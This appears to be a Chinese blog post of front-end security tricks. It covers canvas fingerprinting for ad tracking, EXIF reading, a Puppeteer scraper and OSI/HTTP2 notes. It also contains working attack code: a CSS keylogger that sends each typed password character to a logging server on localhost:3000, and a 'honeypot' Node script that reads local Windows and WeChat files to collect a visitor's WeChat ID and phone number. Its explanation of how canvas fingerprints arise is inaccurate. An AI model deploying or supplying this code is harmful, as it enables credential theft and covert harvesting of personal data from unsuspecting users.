收集一些前端会用到的网络安全技术
 Canvas指纹
技术场景:Canvas指纹追踪技术,当我没没有登录,但是进入某网站查看了图片,网站想要追踪到这一条浏览记录向目标推荐广告时该怎么办
而canvas指纹常被用来讲图片转化为Base64,只需要在canvas中绘制图片然后调用toDataURL()即可,这一方法在转Base64时底层会获取:设备、操作系统、浏览器版本三个信息一同加入到编码中,而这三者完全一致的概率很低,因此可以使用这一方式生成用户ID以此进行广告推送。
1 2 3 4 5 6 7 8
   | const uuid = () => {     const canvas = document.createElement('canvas');     const ctx = canvas.getContext('2d');     const txt = 'test';     ctx.fillText('test', 10, 10)       console.log(canvas.toDataURL())       return md5(canvas.toDataURL())   }
  | 
 
不同浏览器生成的base64是不同的
 CSS键盘记录器
在React项目中设置密码框时,React会把输入的内容显示到input标签的value属性上。
前端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <script src="https://cdn.bootcdn.net/ajax/libs/react/16.13.1/umd/react.production.min.js"></script>     <script src="https://cdn.bootcdn.net/ajax/libs/react-dom/16.13.1/umd/react-dom.production.min.js"></script>     <script src="https://cdn.bootcdn.net/ajax/libs/babel-standalone/7.0.0-beta.3/babel.min.js"></script>     <script type="text/babel">        const Ipt =  React.createElement(()=>{         const {  useState } = window.React;             const [state,setState] = useState({val:"123"})             const setInput = (e) => {                 setState({                     val:e.target.value                 })             }             return <input type="password" onChange={setInput} value={state.val}></input>         })         ReactDOM.render(Ipt,document.getElementById('app'))     </script>
   | 
 
利用这一漏洞,可以使用css中的background-image标签,向某个接口发送请求,将用户输入的每一个字符发送给后端:
1 2 3 4 5
   | input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } input[type="password"][value$="!"] { background-image: url("http://localhost:3000/%21"); } ... input[type="password"][value$="p"] { background-image: url("http://localhost:3000/p"); } ...
  | 
 
上述代码利用属性选择器,将type=password且结尾为p的输入框选择出来,然后利用请求图像的方式向后端接口发送请求
这样后端就能够知道用户按了字符p
只要我们将所有字符都使用上述方式写一个选择器以及其对应的请求接口,就能获得用户的密码信息
后端实现:
1 2 3 4 5 6 7 8 9 10
   | const express = require("express"); const app = express();
 
  app.get("/:key", (req, res) => {   process.stdout.write(req.params.key);   return res.sendStatus(400); });
  app.listen(3000, () => console.log("> Ready to keylog at localhost:3000"));
  | 
 
 照片EXIF
前端可以使用库EXIF-js访问照片的隐私信息
1
   | <script src="https://unpkg.com/exif-js"></script>
   | 
 
直接将图片和回调传如即可
1 2 3 4 5
   | const file = document.querySelector('#img3') EXIF.getData(file, function () {     const data = EXIF.pretty(this);     console.log(data); })
  | 
 
EXIF.getData(img, callback)获取图像的数据
EXIF.getTag(img, tag)获取图像的某个数据
EXIF.getAllTags(img)获取图像的全部数据,值以对象的方式返回
EXIF.pretty(img)获取图像的全部数据,值以字符串的方式返回
 蜜罐技术
蜜罐技术即故意暴露一些设计好的漏洞,引诱黑客进行攻击,便于提供丰富的溯源数据,但蜜罐存在安全隐患,如果没有做好隔离,可能称为新的攻击源
 使用蜜罐技术获取手机号与微信号
整个过程分为三步:
- 读取
PFRO日志文件找出用户名 
- 通过用户名找到对应的wxid
 
- 通过微信ID读取微信信息
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   |  fs.readFile('C:/Windows/PFRO.log', async (err, data) => {     const exp = /Users\\([^\\]*)/ig     exp.test(data.toString('utf16le'))     const userName = RegExp.$1     const wxId = await getWxId(userName)     const info = await getData(userName, wxId)     console.log(info);
  })
 
  const getWxId = <T>(path: T) => {     const data = fs.readFileSync(`C:/Users/${path}/Documents/WeChat Files/All Users/config/config.data`).toString('utf8')     const reg = /Documents\\WeChat Files\\([^\\]*)/ig     reg.test(data)     return RegExp.$1 }
 
  const getData = <T>(path: T, wxId: T) => {     const data = fs.readFileSync(`C:/Users/${path}/Documents/WeChat Files/${wxId}/config/AccInfo.dat`).toString('utf-8')     return data
  }
 
  | 
 
 自动化UI测试(JS
JS也有自己的自动化测试工具Puppeteer,他支持:
- 支持分布式爬取
 
- 实现了深度优先和广度优先算法
 
- 支持csv和json line格式导出
 
- 插件式的结果存储,比如支持redis
 
- 自动插入jquery,可以使用jquery语法进行结果处理
 
- 支持截图作为爬取证据
 
- 支持模拟不同的设备
 
并且带了 Chromium不用额外配置
安装:
1 2
   | npm install pnpm -g //装过可以忽略 pnpm add puppeteer
   | 
 
实现一个京东自动搜索,滚动加载,截图的功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
   | import puppeteer from "puppeteer"
 
  const sleep = (time: number) => {     return new Promise((r, j) => {         setTimeout(() => {             r(time)         }, time)     }) }
  (async () => {                    const browser = await puppeteer.launch({         headless: false,         defaultViewport: null,         args: ['--start-maximized']     })           const page = await browser.newPage()           await page.goto('https://jd.com')          const key = await page.$('#key')          await key?.focus()          await page.keyboard.sendCharacter('iphone13')          await page.click('.button')          await sleep(1000)           await page.waitForSelector('.gl-item')          let scrollEnable: boolean = true;     let scrollStep: number = 500     while (scrollEnable) {         scrollEnable = await page.evaluate((scrollStep: number) => {             let scrollTop: number = document.scrollingElement?.scrollTop ?? 0;             document.scrollingElement!.scrollTop = scrollTop + scrollStep;             return document.body.clientHeight > scrollTop + 1080 ? true : false         }, scrollStep)                  await sleep(500)     }           await page.screenshot({path:`iphone13.png`,fullPage:true})
 
  })()
   | 
 
 OSI网络模型
 物理层
光纤、同轴电缆标准
 数据链路层
将二级制数据分组,组成数据帧,数据帧中包含MAC地址,以广播方式传播
 网络层
定义IP,通过网关进行逻辑寻址,实现不同网络之间的路径选择,主要协议:ICMP,IGMP,IP,ARP,RARP
 传输层
定义传输数据的协议端口号,以及流量控制,差错校验,主要协议:TCP,UDP
 会话层
建立,管理,终止会话
 表示层
数据加密,压缩,处理ASCII,JPEG加密格式等等
 应用层
HTTP协议、FTP协议,WS,SMTP协议
 HTTP1.1和HTTP2
- 采用二进制格式而非文本格式
 
- HTTP2是完全多路复用的,而非有序并阻塞的——只需要一个连接就能实现并行
 
- 使用报头压缩,降低了开销
- HTTP2让服务器可以将响应主动推送到客户端缓存中